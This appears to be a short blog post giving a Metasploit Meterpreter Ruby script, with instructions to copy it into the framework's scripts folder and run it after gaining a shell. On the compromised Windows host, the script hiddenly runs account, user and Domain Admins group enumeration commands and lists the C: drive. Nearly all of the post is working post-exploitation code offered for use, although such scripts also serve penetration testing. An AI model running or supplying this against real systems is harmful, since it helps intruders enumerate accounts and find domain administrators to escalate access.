MSF Ruby – DA

Look at the following, but take particular attention under commands ;0) save the below as Something.rb then “mv Something.rb /usr/share/metasploit-framework/scripts/meterpreter/” get shell run Something 

def list_exec(session,cmdlst)

    print_status(“Running Command List …”)

    r=”

    session.response_timeout=120

    cmdlst.each do |cmd|

       begin

          print_status “running command #{cmd}”

          r = session.sys.process.execute(“cmd.exe /c #{cmd}”, nil, {‘Hidden’ => true, ‘Channelized’ => true})

          while(d = r.channel.read)

             print_status(“running#{d}”)

          end

          r.channel.close

          r.close

       rescue ::Exception => e

          print_error(“Error Running Command #{cmd}: #{e.class} #{e}”)

       end

    end

end

commands = [

    “NET ACCOUNTS”,

    “NET ACCOUNTS /DOMAIN”,

    “NET USER”,

    “NET USER /DOMAIN”,

    “NET GROUP \”Domain Admins\” /domain”,

    “dir c:\\”]

list_exec(client,commands)

Advertisements